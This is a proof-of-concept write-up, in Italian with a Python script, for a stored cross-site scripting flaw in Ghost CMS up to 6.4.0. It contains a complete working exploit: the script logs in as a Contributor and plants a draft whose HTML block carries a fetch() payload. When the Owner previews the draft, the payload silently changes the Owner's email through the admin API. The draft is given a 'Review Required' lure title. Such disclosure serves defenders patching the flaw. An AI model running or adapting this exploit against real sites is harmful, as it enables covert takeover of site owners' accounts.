
PoC di escalation dei privilegi di Ghost CMS
Ghost CMS PoC di privilege escalation
In Ghost CMS di Ghost Foundation fino alla versione 6.4.0, il blocco HTML all'interno dell'editor delle bozze dei post non sanifica né codifica correttamente il contenuto fornito dall'utente, causando una vulnerabilità di cross-site scripting (XSS) persistente. Un utente con privilegi di Contributor può iniettare JavaScript arbitrario in una bozza, che viene eseguito quando viene visualizzata dall'account Owner. Ciò consente all'attaccante di eseguire azioni privilegiate nel contesto dell'Owner.
Per dimostrare la vulnerabilità, è necessario configurare un'istanza locale di Ghost CMS con due account:
Account Owner - creato automaticamente durante l'installazione di Ghost.
Account Contributor - creato dall'Owner invitando un nuovo utente. Ghost invia un Magic Link all'indirizzo email del Contributor per completare la configurazione dell'account.
Poiché la procedura viene eseguita in locale, è opportuno installare uno strumento di cattura email come MailHog (ad esempio tramite Docker). Ciò consente di intercettare localmente il Magic Link inviato da Ghost, così il Contributor può attivare autonomamente il proprio account.
Una volta che entrambi gli account sono attivi, è possibile utilizzare lo script exploit (contributor.py). Lo script richiede le credenziali di accesso del Contributor e il nuovo indirizzo email che verrà assegnato all'account Owner dopo il buon esito dello sfruttamento.
I parametri dello script sono:
-u / --username Contributor username (email)
-p / --password Contributor password
-e / --new-email New email address to be set on the Owner account
--url Ghost instance URL (optional)
Per eseguire lo script nel terminale, usa:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
Una volta eseguito, lo script crea automaticamente una nuova bozza di Post contenente il payload JavaScript dannoso all'interno del blocco HTML vulnerabile.
Per attivare la XSS persistente, l'Owner deve solo visualizzare l'anteprima della bozza aprendola nel pannello di amministrazione di Ghost e facendo clic su “Anteprima”. Lo script iniettato viene eseguito in background con i privilegi dell'Owner, e l'Owner non viene informato che il proprio indirizzo email è stato modificato.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")
# HTML content with placeholders
article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""
# Replace placeholders with actual owner data
html_content_with_id = article_content.replace("<id>", owner_id)
html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
html_content_with_id = html_content_with_id.replace("<name>", owner_name)
html_content_with_id = html_content_with_id.replace("<email>", new_email)
print(f"\n HTML content prepared (with Owner data injected)")
print(f" Target email change: {self.owner_user.get('email')} → {new_email}")
# Create Lexical content
lexical_content = self.create_lexical_with_html(html_content_with_id)
# Prepare post data with Lexical
post_data = {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [author_id],
}]
}
if excerpt:
post_data['posts'][0]['excerpt'] = excerpt
if tags:
post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]
# Try multiple API approaches
attempts = [
{'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
{'url': f"{self.api_url}/posts/", 'data': post_data},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [{'id': author_id}],
}]
}
},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
}]
}
},
]
for i, attempt in enumerate(attempts, 1):
try:
print(f"\n Attempt {i}: {attempt['url']}")
response = self.session.post(attempt['url'], json=attempt['data'])
if response.status_code == 201:
post = response.json()['posts'][0]
print(f"\n✓✓✓ Post created successfully!")
print(f" Title: {post['title']}")
print(f" Post ID: {post['id']}")
print(f" Status: {post['status']}")
if 'authors' in post and post['authors']:
print(f" Author: {post['authors'][0].get('name', 'Unknown')}")
print(f" Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
print(f"\n ⚠️ Post contains script targeting Owner: {owner_name} ({owner_slug})")
print(f" ⚠️ Email change: {self.owner_user.get('email')} → {new_email}")
return response.json()
else:
print(f" ✗ Status {response.status_code}")
print(f" Response: {response.text}")
except Exception as e:
print(f" ✗ Exception: {str(e)}")
print(f"\n✗ All attempts to create post failed.")
return None
def logout(self):
"""Logout from Ghost session"""
if self.authenticated:
try:
logout_url = f"{self.api_url}/session/"
self.session.delete(logout_url)
print("\n✓ Logged out successfully")
except:
pass
self.session.close()
def main():
parser = argparse.ArgumentParser(
description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
)
parser.add_argument('-u', '--username', required=True,
help='Ghost username (email)')
parser.add_argument('-p', '--password', required=True,
help='Ghost password')
parser.add_argument('-e', '--new-email', required=True,
help='New email to set for owner account')
parser.add_argument('--url', default='http://localhost:2368',
help='Ghost instance URL')
args = parser.parse_args()
# Article details
article_title = "Review Required: Important Update"
article_tags = ["review"]
article_excerpt = "Please review this update at your earliest convenience"
# Initialize Ghost client
ghost = GhostCMSSession(ghost_url=args.url)
# Login
if not ghost.login(args.username, args.password):
return
# Create post with malicious content
if ghost.current_user and ghost.owner_user:
ghost.create_post_for_review(
title=article_title,
new_email=args.new_email,
tags=article_tags,
excerpt=article_excerpt
)
# Logout
ghost.logout()
if __name__ == "__main__":
main()